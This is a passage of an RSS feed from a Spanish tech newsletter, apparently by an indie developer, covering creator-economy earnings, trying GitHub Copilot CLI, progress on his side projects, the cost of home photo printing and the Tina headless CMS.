todo esto significa para las startups que operan en la creator economy. No los creadores, sino los cientos de servicios que han surgido como setas a su alrededor, sean plataformas de newsletters, herramientas de edición de video, <span style="text-decoration:line-through;">wrappers sobre GPT-3.5 </span>asistentes a la redacción y similares.</p><p class="paragraph" style="text-align:left;"><b>Hay muchos usuarios, pero la mayoría no ganan nada</b>. Y por tanto, a la larga, tampoco pagarán.</p><p class="paragraph" style="text-align:left;">Sin embargo el punto de vista que más me interesa a mi es el que concierne a la psicología del creador.</p><p class="paragraph" style="text-align:left;">La que se baja las bragas, enciende la webcam y le da a <i>upload</i> no está pensando en los tres millones de <i>compis de curro</i> que no llegan a sacar quinientos pavos al año.</p><p class="paragraph" style="text-align:left;">Ni siquiera a la privilegiada quinta parte a la que les da para el alquiler.</p><p class="paragraph" style="text-align:left;">Está pensando en esa chica que salió en un vídeo de youtube que está sacándose millón y medio a la semana, tiene un garaje lleno de Lambos y un dispensador de 14 cereales en su mansión de Beverly Hills.</p><p class="paragraph" style="text-align:left;">Pero la realidad es que esta persona se enfrenta a una probabilidad de menos del 0,0003% de llegar al top 1%.</p><p class="paragraph" style="text-align:left;">Y es exactamente lo mismo cuando la señora en lugar de encender el Satisfyer enciende el Macbook Air y se pone a escribir una newsletter. O a preparar un curso. O a hablar de ingeniería aerospacial el su canal de Youtube. Se flipan. Todos nos flipamos. Vemos a los gurús vendiendo cursos y <a class="link" href="https://twitter.com/thevirgilbrew/status/1689287999568097283?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">sacándose $120k en cuatro días</a>. <a class="link" href="https://twitter.com/NudistaI/status/1692119379524100230?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">Membresías generando miles de euros al día</a>. <a class="link" href="https://twitter.com/levelsio/status/1667457802863001601?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow"><i>Indie hackers</i></a><a class="link" href="https://twitter.com/levelsio/status/1667457802863001601?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow"> embolsillándose cientos de miles de euros al mes</a>.</p><p class="paragraph" style="text-align:left;">Ellos son el top 1%. Tú no. Y probablemente no lo serás nunca. Por tanto, si te vas a dedicar a esto del contenido, sé inteligente. No te lo juegues todo a que el propio contenido te sacará de pobre. En su lugar:</p><ul><li><p class="paragraph" style="text-align:left;">Sé sinérgico. Si ofreces servicios, que tu contenido lleve a los consumidores a éste. Crea audiencia per sobre todo crea un <i>funnel</i>.</p></li><li><p class="paragraph" style="text-align:left;">Busca tu mercado. Tu nicho. Si eres uno más en el mundillo de las finanzas personales, probablemente te ahogarás. Pero si tal vez atacas, qué se yo, sólo a la inversión inmobiliaria, habrá algún hueco que rellenar.</p></li><li><p class="paragraph" style="text-align:left;">Sé constante. No llegarás al 1%. Pero tal vez sí al top 50%. O 30%. O incluso 10%. Si te metes, que sea para ir en serio. </p></li></ul><p class="paragraph" style="text-align:left;">Yo hago contenido. Ahora mismo, sin seguir ninguno de estos consejos. Y en consecuencia estoy en el <i>bottom 1%</i> porque no gano absolutamente nada y no hago más que perder tiempo.</p><p class="paragraph" style="text-align:left;">Voy a intentar corregirlo. Pero no os preocupéis. Esta newsletter la dejo clasificada como <i>hobby</i>. Qué remedio.</p><h1 class="heading" style="text-align:left;">💾 La línea de comandos. Que no <a class="link" href="https://es.wikipedia.org/wiki/Commandos?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow"><i>del Commandos</i></a>.</h1><p class="paragraph" style="text-align:left;">Los frikis somos de CLI. De blanco sobre negro. Verde sobre negro si eres ya <i>muy freak</i>.</p><p class="paragraph" style="text-align:left;">La semana pasada os comentaba lo de que <a class="link" href="http://fig.io?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">fig.io</a> lo había comprado Amazon. Y lo borré rápidamente.</p><p class="paragraph" style="text-align:left;">Lo echo de menos un poco. A ver, yo no es que fuera <i>power user</i> del asunto pero el autocompletado con drop-down era cómodo.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/0a7b9001-609a-4b22-9dcf-536624a7806e/68747470733a2f2f6669672e696f2f676966732f64656d6f2d776974682d6865616465722e676966.gif"/><div class="image__source"><span class="image__source_text"><p>Está gustoso el asunto</p></span></div></div><p class="paragraph" style="text-align:left;">Me gustaba especialmente por el <i>discoverability</i>. Poder buscar las opciones y tal. Ahora con zsh le doy a <i>tab</i> y me sale un churro de opciones, que viene a ser el mismo, pero en incómodo.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/607d63a0-3eed-496d-8225-c9225f17099e/zsh.gif"/></div><p class="paragraph" style="text-align:left;">No he buscado alternativa, pero pensando qué hacer me acordé de que hace ya más de cuatro meses me dieron acceso a <a class="link" href="https://githubnext.com/projects/copilot-cli?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">Github Copilot CLI</a>, que es el Copilot normal pero en la terminal.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/2796a875-27a7-492b-8a80-376bc1f0b9c0/Screenshot_2023-08-30_at_13.09.10.png"/></div><p class="paragraph" style="text-align:left;">Así que decidí darle un garbeo. Y <i>wow socio</i>. <i>Not bad</i>. Te pongo algunos ejemplos.</p><p class="paragraph" style="text-align:left;">Lo primero que probé fue uno típico. Bájate esta URL, me sacas todos los enlaces los ordenas alfabéticamente. Con el comando <code>??</code> hacemos preguntas genéricas.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/301e503b-4dc7-4f7d-a4eb-9c323d0f9a6e/copilot-download-links.gif"/></div><p class="paragraph" style="text-align:left;">No está mal, ¿eh? Vamos a probar otro. Sácame todos los usuarios que han contribuido a este repo de <code>git</code> y cuántos <i>commits</i> ha hecho cada uno. Usamos el comando <code>git?</code> para preguntar específicamente cosas de esta herramienta.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/20643efb-06e1-4c95-ba0c-c8c9d22bb9d4/copilot-git.gif"/></div><p class="paragraph" style="text-align:left;">¡Molongo! No me hará falta para todos los días, pero estoy empezando a ver que esos días en los que se te complica un <i>sed</i> una cosa así puede resultar muy útil. Vamos, igual de útil que preguntárselo a ChatGPT, pero sin salir de la terminal.</p><p class="paragraph" style="text-align:left;">Si os gusta y todavía no lo habéis hecho <a class="link" href="https://githubnext.com/projects/copilot-cli?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">meteos en el </a><i><a class="link" href="https://githubnext.com/projects/copilot-cli?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">waitlist</a></i>. Eso sí, hay que pagar los 10€/mes de Copilot. Pero bueno, yo los pago bien contento.</p><h1 class="heading" style="text-align:left;">🛠️ #BuildInPublic</h1><div class="image"><img alt="get a job hackers GIF" class="image__image" style="" src="https://media1.giphy.com/media/UcJzJTW5HjuRW/giphy.gif?cid=2450ec30pf3905azv6zlnvzocbi43yw9i7w4pjs2j020h3c1&ep=v1_gifs_search&rid=giphy.gif&ct=g"/></div><p class="paragraph" style="text-align:left;">Para no desentonar os comento lo cerca que estoy de vivir del cuento.</p><p class="paragraph" style="text-align:left;">Estoy muy lejos.</p><p class="paragraph" style="text-align:left;">Pero bueno, hay algún avance, a nivel conceptual-psicológico. A nivel cuenta bancaria no. Menos da una piedra, supongo.</p><h3 class="heading" style="text-align:left;">🧑‍🎓 <a class="link" href="http://Courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">Courses.so</a> — Como pollo sin cabeza</h3><p class="paragraph" style="text-align:left;">Comenté que íbamos a externalizar el desarrollo. El señor aquel con covid y sus secuaces por fin se presentaron y empezaron a soltar <i>palabrejas</i>.</p><p class="paragraph" style="text-align:left;"><i>Buyer persona</i>. <i>Target user. User interviews. Figma. Product strategy. Sprints. Non-disclosure. Tres-cuatro horas pa montar un puto Sentry.</i></p><p class="paragraph" style="text-align:left;"><i>Equipo multidisciplinar</i>.</p><p class="paragraph" style="text-align:left;">Bueno, esta última no, pero yo la olí en el ambiente en cualquier caso. Casi sucumbo a los cantos de sirena. Mi boca llegó a pronunciar aquello de <i>igual mejor ni desarrolléis, meteos de lleno en eso de entrevistar gente y pensar cosas</i>.</p><p class="paragraph" style="text-align:left;">Por suerte a media <i>call</i> ya se me había pasado y era evidente en mi mente (y la de mi socio) que lo que nosotros necesitábamos era alguien que picara piedra, no que inventase picos.</p><p class="paragraph" style="text-align:left;">El caso es que mientras hablábamos de lo poco que nos convencían estos nos pusimos a hacer cosas y resolvimos la mitad del backlog, así que no sé esto en qué punto nos deja. Habrá que darle una vuelta.</p><h3 class="heading" style="text-align:left;">🏦 <a class="link" href="http://Banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">Banco.surf</a> — Planteando la jugada</h3><p class="paragraph" style="text-align:left;">Dicen que lo suyo es no empezar desarrollando el producto, sino haciendo la landing. Yo he ido más allá. He empezado redactando el email que enviaré cuando estén todos los cambios que estoy planteando, que son básicamente:</p><ul><li><p class="paragraph" style="text-align:left;">Montar <a class="link" href="http://Banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">Banco.surf</a> Sync, que ya comenté la otra semana</p></li><li><p class="paragraph" style="text-align:left;">Integrar algo como Paddle o LemonSqueezy porque hay gente que me está pidiendo facturas y hacerlas a mano facturas con IVA intracomunitarias es un coñazo soberano.</p></li><li><p class="paragraph" style="text-align:left;">Meter notificaciones por todas partes. Otro para ahorrarme gestión, ya que a la gente se le caducan las conexiones, les fallan cosas, y preguntan. Pues nada, toma email cada vez que pete algo.</p></li><li><p class="paragraph" style="text-align:left;">Subir el precio. Básicamente, estoy cerca de pasarme del <i>free tier</i> del proveedor y de que esta chorrada me cueste ~150€/mes. Y de eso nada. Así que habrá que ver quién paga la fiesta. Me estoy planteando que sea una suscripción también.</p></li><li><p class="paragraph" style="text-align:left;">Y finalmente, meter un sistema de afiliados. A ver si los clientes actuales ayudan a que se conozca el asunto.</p></li></ul><p class="paragraph" style="text-align:left;">Así que ahora me falta hacer las cosas que dice el email y entonces enviarlo. <i>¡Chupao!</i></p><h3 class="heading" style="text-align:left;">🎲 Otras cositas — Planteando proponerme pescar posibles proyectos pretéritos para procrastinar principalmente</h3><p class="paragraph" style="text-align:left;">Viendo qué haré cuando <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">courses.so</a> esté más encaminado y <a class="link" href="http://banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">banco.surf</a> esté actualizado. Pero con muchas <i>pes</i> porque sí. <i>Fucking sue me, bitch</i>.</p><p class="paragraph" style="text-align:left;">Traducido, creo que va a ser repescar alguno de los proyectos que pensé durante 2022 que no llegaron a nada.</p><p class="paragraph" style="text-align:left;">No voy a ser tan imbécil de hacer<a class="link" href="https://prealfa.com/portfolio/2022/?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow"> otro 12 meses 12 proyectos como hice en 2022</a>, que acabó en 8 planteados, de los cuales sólo 4 lanzados. Entre otras cosas porque estamos a septiembre y sería raro. Pero bueno, que si lo hago lo haré retrospectivamente. Así puedo decir que era 6 proyectos, o 7 y medio, o lo que me parezca para que cuadre. Que será 1 o 2 siendo realistas.</p><h1 class="heading" style="text-align:left;">🖨️ Querer salir barato. Acabar a 0,75€/foto</h1><div class="image"><img alt="Edward Norton Work GIF" class="image__image" style="" src="https://media3.giphy.com/media/iFkHQLzYA09Zm/giphy.gif?cid=2450ec30bfqrp3bk29cpineva5s9r50smsdxoqtj38r1i9w3&ep=v1_gifs_search&rid=giphy.gif&ct=g"/></div><p class="paragraph" style="text-align:left;">En el off-topic de hoy vamos a hablar de impresoras. Y a hacer números. Números que no hice <i>antes</i> de adquirir mi impresora. Los he hecho después, intentando justificarme lo que compré. Me ha salido mal.</p><p class="paragraph" style="text-align:left;">Pero volvamos atrás. A la razón del asunto:</p><p class="paragraph" style="text-align:left;">Yo quiero imprimir fotos.</p><p class="paragraph" style="text-align:left;">La fotos en digital son prácticamente… no-fotos. Porque una foto no es una imagen. A ver, sí. Pero es también un recuerdo. Y las memorias para que sean útiles necesitan <b>ser recordadas</b>.</p><p class="paragraph" style="text-align:left;">Y no, yo las doscientas mil fotos que tengo en discos duros varios, muchas de ellas condenadas a desaparecer en la podredumbre generalizada de la tecnología, <b>no las recuerdo</b>. Cuando voy a casa de mis padres siempre me sorprendo hojeando álbumes antiguos. Esas fotos de gentes extrañas, que somos nosotros y nuestros seres queridos pero transportados a un tiempo que ya no existe.</p><p class="paragraph" style="text-align:left;">Hay algo mágico en todo esto. Y esta magia no la captura el <i>scroll</i> del carrete del móvil.</p><p class="paragraph" style="text-align:left;">Así que igual que el fotógrafo nostálgico comprando réflexes i gastándose la pasta en desechables Kodak yo busco <i>lo físico</i>. Imprimir las fotos.</p><p class="paragraph" style="text-align:left;">La solución comercial más habitual es el Zink y similares. Papel especial térmico, 70 a 100€ la impresora y unos 60 a 70 céntimos <b>cada papel</b>. Si nos venimos muy arriba y decidimos imprimir 500 fotos, nos sale el pastel completo a por unos 80 céntimos la foto. Ah, y son de 2 x 3 pulgadas normalmente. 7,6 x 5 cm para los amigos.</p><p class="paragraph" style="text-align:left;">Son pequeñitas.</p><p class="paragraph" style="text-align:left;">La alternativa 10×15, tamaño <i>foto boomer</i>, sí es de tinta normal pero en cómodos packs de papel + cartucho. <a class="link" href="https://amzn.to/3YUSJES?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">La máquina te sale por unos 150€ con 90 papeles</a>, y luego <a class="link" href="https://amzn.to/3sDo7vg?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">cada 80 fotos pagas unos 32€</a>. Las 500 fotos que decía antes te costarían unos 310€. A 62 céntimos la foto. 40 céntimos/foto el marginal, una vez amortizada la máquina.</p><p class="paragraph" style="text-align:left;">Esta no era mala opción. Pero yo he elegí otra. Un poco más loca.</p><p class="paragraph" style="text-align:left;">El papel 10×15 fotográfico, satinado, de 240g/m² para impresora de inyección lo puedes encontrar por <a class="link" href="https://amzn.to/3PhoswB?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">unos 9€ el paquete de 100</a>. 9 céntimos la foto.</p><p class="paragraph" style="text-align:left;">Hay 53 céntimos por foto de margen hasta el siguiente competidor. ¿Puedo meter en ese margen, en esos 253€ de ahorro, una tecnología distinta que me haga salir ganando?</p><p class="paragraph" style="text-align:left;">Pues resulta que sí. Las impresoras de fotos de toda la vida. Una <a class="link" href="https://amzn.to/45vm4bo?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=48-progressive-jpeg" target="_blank" rel="noopener noreferrer nofollow">Epson XP-8700</a> es una impresora <i>injket</i> con tinta Claria, que va de lujo y además está diseñada para durar más de 300 años. La tinta, no la impresora. Son 160€ y por 30€ más tienes un pack de cartuchos compatibles que te sacan hasta 860 páginas a color. Eso son un buen puñado de fotos 10×15. 47 céntimos la foto en total 🎉.</p><p class="paragraph" style="text-align:left;">Entonces, ¿he hecho eso yo?</p><p class="paragraph" style="text-align:left;"><b>Pues no</b>. Yo como manirroto de manual me he gastado cuatro o cinco veces eso y he acabado con un mastodonte que me permite imprimir folios A3+ de hasta 42 × 200 cm. Putos <i>banners</i>.</p><p class="paragraph" style="text-align:left;">Y la <i>fotito</i> de 10×15 me va salir por 75 céntimos al final del camino.</p><p class="paragraph" style="text-align:left;">Mi único consuelo va a estar en el largo término. El marginal una vez amortice la máquina respecto a las otras alternativas. Entonces la foto 10×15 me saldrá a 13 céntimos, papel + tinta original.</p><p class="paragraph" style="text-align:left;">Así que ahora toca imprimir muchas fotos.</p><p class="paragraph" style="text-align:left;">La moraleja del tema este es fácil. <b>Haz los números antes</b>.</p><h1 class="heading" style="text-align:left;">👋 Y hasta aquí puedo leer</h1><p class="paragraph" style="text-align:left;">Espero que hayáis disfrutado de mi charla TED sobre impresoras que no interesan a nadie, y también con las aventuras en la terminal, en vivir del cuento y en aprovechar una sección sobre creación de contenido para meter seis o siete marranadas.</p><p class="paragraph" style="text-align:left;">Hoy ha sido newsletter de las largas, pero de las que se paren del tirón y sin esfuerzo como churumbel escuálido, lo que es buena señal. Señal de que me sigue apeteciendo, aún que me hagáis perder dinero, panda de chupópteros de la prosa.</p><p class="paragraph" style="text-align:left;">Ya os sacaré los duros por algún lado…</p><p class="paragraph" style="text-align:left;">Nos leemos pronto.</p><div class="blockquote"><blockquote class="blockquote__quote"></blockquote></div></div><div class='beehiiv__footer'><br class='beehiiv__footer__break'><hr class='beehiiv__footer__line'><a target="_blank" class="beehiiv__footer_link" style="text-align: center;" href="https://www.beehiiv.com/?utm_campaign=0053a678-346d-497b-9a0d-32b16f13b406&utm_medium=post_rss&utm_source=vivir_del_cuento_y_no_morir_en_el_intento">Powered by beehiiv</a></div></div>
  ]]></content:encoded>
</item>

      <item>
  <title>#47 - Nick Casi Decapitado</title>
  <description>Hacer poco, pensar mucho y montar otro blog. Sí. Otro más.</description>
  <link>https://cuento.beehiiv.com/p/47-nick-casi-decapitado</link>
  <guid isPermaLink="true">https://cuento.beehiiv.com/p/47-nick-casi-decapitado</guid>
  <pubDate>Wed, 30 Aug 2023 09:00:00 +0000</pubDate>
  <atom:published>2023-08-30T09:00:00Z</atom:published>
    <dc:creator>Adrià López</dc:creator>
  <content:encoded><![CDATA[
    <div class='beehiiv'><style>
  .bh__table, .bh__table_header, .bh__table_cell { border: 1px solid #C0C0C0; }
  .bh__table_cell { padding: 5px; background-color: #FFFFFF; }
  .bh__table_cell p { color: #2D2D2D; font-family: 'Helvetica',Arial,sans-serif !important; overflow-wrap: break-word; }
  .bh__table_header { padding: 5px; background-color:#F1F1F1; }
  .bh__table_header p { color: #2A2A2A; font-family:'Trebuchet MS','Lucida Grande',Tahoma,sans-serif !important; overflow-wrap: break-word; }
</style><div class='beehiiv__body'><p class="paragraph" style="text-align:left;">Mira, voy a ir directo al grano. La plataforma que uso para la newsletters, Beehiiv, acaba de sacar una actualización.</p><p class="paragraph" style="text-align:left;">La más importante. Una que lo cambia todo.</p><p class="paragraph" style="text-align:left;">Un buscador de GIFs integrado.</p><div class="image"><img alt="season 8 GIF" class="image__image" style="" src="https://media1.giphy.com/media/3o6MbudZJtl8nNebaE/giphy-downsized.gif?cid=2450ec30fxi3k0be7v550bg8cctg22zagvap8g06c6qio300&ep=v1_gifs_search&rid=giphy-downsized.gif&ct=g"/><div class="image__source"><span class="image__source_text"><p>Esto puede ser una bendición o la peor desgracia que caiga a esta newsletter.</p></span></div></div><p class="paragraph" style="text-align:left;">Dios, qué maravilla. Me ha cambiado la vida. El resto del editor sigue siendo una mierda. Pero bueno.</p><p class="paragraph" style="text-align:left;">Una mierda con GIFs.</p><p class="paragraph" style="text-align:left;">Y bueno. Pues eso.</p><p class="paragraph" style="text-align:left;">Vamos al lío.</p><h1 class="heading" style="text-align:left;">👷‍♂️#BuildInPublic</h1><p class="paragraph" style="text-align:left;">Mira, son las 23:26. Del martes. Y lo que es <i>build</i> no ha habido mucho. Y <i>in public</i> menos. Ya no me da tiempo a inventármelo.</p><p class="paragraph" style="text-align:left;">Por suerte <i>build in private</i> ha habido un poquito. He estado trabajando en mi web, que ahora es <a class="link" href="http://adlpz.com?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">adlpz.com</a>. Voy cambiado el dominio de vez en cuando. Total, no entra nadie. Así que mira.</p><p class="paragraph" style="text-align:left;">He añadido un blog. Cuando entres no lo verás, porque el blog está añadido, pero posts no hay. Básicamente lo he hecho por dos motivos:</p><ul><li><p class="paragraph" style="text-align:left;">Por tener un sitio donde escribir cosas el estilo de aquellos desvaríos de seguridad informática de hace unas semanas. En inglés, y tal.</p></li><li><p class="paragraph" style="text-align:left;">Porque he decidido dedicar 9 horas que no tengo a implementar un headless CMS que no me hacía ninguna falta.</p></li></ul><p class="paragraph" style="text-align:left;">Sobre el headless CMS os hablo más luego, que me apetece. Pero primero inciso para comentar cómo va el tema <a class="link" href="http://courses.so?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">courses.so</a>.</p><p class="paragraph" style="text-align:left;">En resumen, seguimos con el objetivo de delegar el desarrollo. O al menos una parte, porque se está haciendo evidente que hay ciertas <i>marcianadas</i> que son básicamente inexplicables. En el sentido literal de que son tan rocambolescas que no hay forma de explicarlas a un tercero. Hay que ser <i>yo</i> y haberlas parido en primera persona para aceptar tal nivel de <i>sidacódigo</i> y bridas superpuestas.</p><p class="paragraph" style="text-align:left;">Hoy hemos estado trabajando en <i>qué vamos a delegar exactamente</i>. Al final lo importante es no sólo que el proyecto avance, sino también validar que la gente en la que vamos a delegar es solvente y de que gasta el dinero a un ritmo que nos resulte asumible.</p><div class="image"><img alt="" class="image__image" style="" src="https://media.beehiiv.com/cdn-cgi/image/fit=scale-down,format=auto,onerror=redirect,quality=80/uploads/asset/file/e0ac0f72-051f-40cc-ba6e-51e9c9bf89d4/IMG_0970.jpeg"/><div class="image__source"><span class="image__source_text"><p>Detalle de la mesa de trabajo durante la sesión de esta mañana. Mmmmm.</p></span></div></div><p class="paragraph" style="text-align:left;">Así que nos hemos centrado en varios <i>quick wins</i> que nos ayudarán al que será el primer objetivo: conseguir que <i>algunos</i> de los ~500 usuarios que hay en la aplicación <i>la usen</i>. Porque la mayoría no lo hacen. Crearon la cuenta, trastearon entre cinco y cero minutos y chaparon para buscar una alternativa menos penosa.</p><p class="paragraph" style="text-align:left;">Vamos a intentar repescarlos con algunos <i>goodies</i>, entre otros:</p><ul><li><p class="paragraph" style="text-align:left;">Que el sistema de sincronizado con Notion no sea un mojón que se rompe cada dos por tres. Esto por lo visto es importante 🤷‍♂️.</p></li><li><p class="paragraph" style="text-align:left;">Crear una <i>página de curso</i>. Vamos, que cuando le das click a un curso o le pasas el enlace a un curso a alguien no te salga directo el Stripe, desvergonzadamente. Que te diga de qué va el curso. Otra que parece que es importante, quién lo iba a decir 🙀.</p></li><li><p class="paragraph" style="text-align:left;">Emails cuando pasan cosas. Porque resulta que no hay ninguno. El nivel de abandono y dejadez de la mano de Dios es significativo ahora mismo.</p></li></ul><p class="paragraph" style="text-align:left;">Ah, y antes de todo esto, vamos a hacer un 180º respecto a nuestra política de ser modernos y no trackear a nuestros usuarios metiendo todo tipo de basura ultra-intrusiva con <i>heatmaps</i>, <i>session replays</i>, <i>client-side error reporting</i> y cientos de eventos. El banner de cookies va a tener que ser un A3 en apaisado.</p><p class="paragraph" style="text-align:left;">Mañana, que es hoy para vosotros, de hecho a la misma hora que sale la newsletter, estaremos negociando detalles con los potenciales desarrolladores. En plural, son un equipo. [Nota a cierre de edición: han pillado covid. Han <span style="text-decoration:line-through;">fallecido</span> anulado la reunión. 🦠] </p><p class="paragraph" style="text-align:left;">Y yo sin un duro. <i>Fortuna audaces iuvat</i> y tal, ¿no?. Eso dicen los ludópatas. Veremos como sale la jugada.</p><p class="paragraph" style="text-align:left;">Cerramos la sección #BuildInPublic comentando que de <a class="link" href="http://sync.banco.surf?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">sync.banco.surf</a> todavía no he hecho nada, pero viene pronto. Porque me apetece, básicamente. Y porque necesito rentabilizarlo ya que el proveedor me va a subir en breves el precio a 100€/mes + uso, y me va a venir francamente mal tener que mantener el servicio para cuatro o cinco personas pagando ~1€/mes 😭.</p><p class="paragraph" style="text-align:left;">Y ahora, como sé que aquello del <i>headless CMS</i> te ha interesado <i>que flipas</i> y llevas desde hace doce párrafos esperando que me calle la boca y te lo cuente en detalle, voy a ser amable y cambio de tema. A ese.</p><div class="image"><img alt="Intensifies Starship Troopers GIF" class="image__image" style="" src="https://media3.giphy.com/media/14g6PIAY8f6FeU/giphy.gif?cid=2450ec30ugcgo907zmm6n7nsukfishnzgjtb915nhx9r9g7l&ep=v1_gifs_search&rid=giphy.gif&ct=g"/><div class="image__source"><span class="image__source_text"><p>Está en Disney+. Si tienes, cierra la newsletter ahora mismo y ponte a verla.</p></span></div></div><h1 class="heading" style="text-align:left;">🛠️ Herramienta — <a class="link" href="http://tina.io?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank" rel="noopener noreferrer nofollow">tina.io</a></h1><p class="paragraph" style="text-align:left;">Vamos a ir por partes. <i>Headless CMS</i>. ¿Ein?</p><ul><li><p class="paragraph" style="text-align:left;"><b>CMS</b> — Content management system. Sistema de gestión de contenido. Un sitio donde guardar contenido. Artículos, posts de blog, cosas así. Ejemplo: el Wordpress.</p></li><li><p class="paragraph" style="text-align:left;"><b>Headless</b> — <i>Decapitao</i>. ¿Y a nivel técnico? Sin <i>front-end</i>. En otras palabras, así como Wordpress es un monolito conectado a una base de datos, y en el mismo “sitio” escribes y lees, en un CMS headless la <i>salida</i> del asunto es sólo una API.</p></li></ul><p class="paragraph" style="text-align:left;">¿Para qué sirve esto? Pues para <i>desacoplar cosas</i>. En otras palabras: un CMS tradicional, como puede ser el archiconocido Wordpress, es un sólo paquete de software que se encarga de todo: el editor de posts, convertir los posts a HTML que entienda el navegador, recibir comentarios, hacer <i>anti-spam</i>, enviar emails, gestionar usuarios. La superficie de movidas es enorme y esto implica que hay un montón de sitios donde la cosa puede fallar. O ser insegura.</p><p class="paragraph" style="text-align:left;">Y por eso se os llena el blog de comentarios de gente vendiendo pastillitas azules. Eso si tenéis suerte y no se os llenan los propios posts porque el blog lo tenéis el pobre secuestrado perdido por juánqueres de distinto proceder.</p><p class="paragraph" style="text-align:left;">Así, en un CMS <i>headless</i> tu vas a un sitio a escribir y luego tienes otra web, normalmente de las que son estáticas e <i>inhackeables</i>, y <i>renderizas</i> el contenido que te da el CMS a través de una API.</p><p class="paragraph" style="text-align:left;">El caso es que este tipo de CMS están de moda. Mucho. Hay docenas de productos en el mercado y a mi me apetecía probar alguno. Pero tenía algunos requisitos especiales:</p><ul><li><p class="paragraph" style="text-align:left;">Que hablara, básicamente, Markdown. Necesito que el texto esté en algún lugar en un formato que tenga la mínima sensación de que será legible dentro de 10 años. Markdown en ficheros texto plano UTF-8 huele a duradero. Además, que me gusta escribir Markdown.</p></li><li><p class="paragraph" style="text-align:left;">Que fuese gratis. Paso de pagar para cuatro desvaríos que pongo en un blog.</p></li><li><p class="paragraph" style="text-align:left;">Que fuese Open Source, o casi. Algo que no me vayan a <i>rugpullear</i> en directo en cuanto lo compre cualquier pez gordo o se aburra el fulano de turno que lo montó.</p></li></ul><p class="paragraph" style="text-align:left;">Y me encontré Tina:</p><div class="embed"><a class="embed__url" href="https://tina.io?utm_source=cuento.beehiiv.com&utm_medium=newsletter&utm_campaign=47-nick-casi-decapitado" target="_blank"><div class="embed__content"><p class="embed__title"> The Markdown CMS | Tina </p><p class="embed__description"> An open-source CMS backed by Git </p><p class="embed__link"> tina.io </p></div><img class="embed__image embed__image--right" src="https://tinacms.org/img/tina-twitter-share.png"/></a></div><p class="paragraph" style="text-align:left;">A parte de dar risa el nombre, los <i>bullet points</i> me cuadran. En resumen:</p><ul><li><p class="paragraph" style="text-align:left;"><b>Open source</b>. <i>Ish</i>. A ver, el 95% es Apache 2.0. Pero hay una parte, el <i>cloud</i>, que es Fair Source License. Esta <b>no es</b> Open Source ya que limita el uso y disfrute gratuito a unos límites. En concreto 5 usuarios, 2 roles y 500 documentos por web. No es ideal, pero es aceptable.</p></li><li><p class="paragraph" style="text-align:left;"><b>Gratis</b>. Esta parte del cloud lo ofrecen hosteado. Y el <i>free tier</i> es muy generoso: 2 usuarios, 2 roles e infinitos posts por sitio.</p></li><li><p class="paragraph" style="text-align:left;"><b>Flexible infinitamente</b>. Puedes definir todo tipo de <i>post types</i> y lo haces todo a base de modificar JSONs <i><b>dentro</b></i> de tu propio proyecto.</p></li><li><p class="paragraph" style="text-align:left;"><b>Markdown-first</b>. Todo contenido 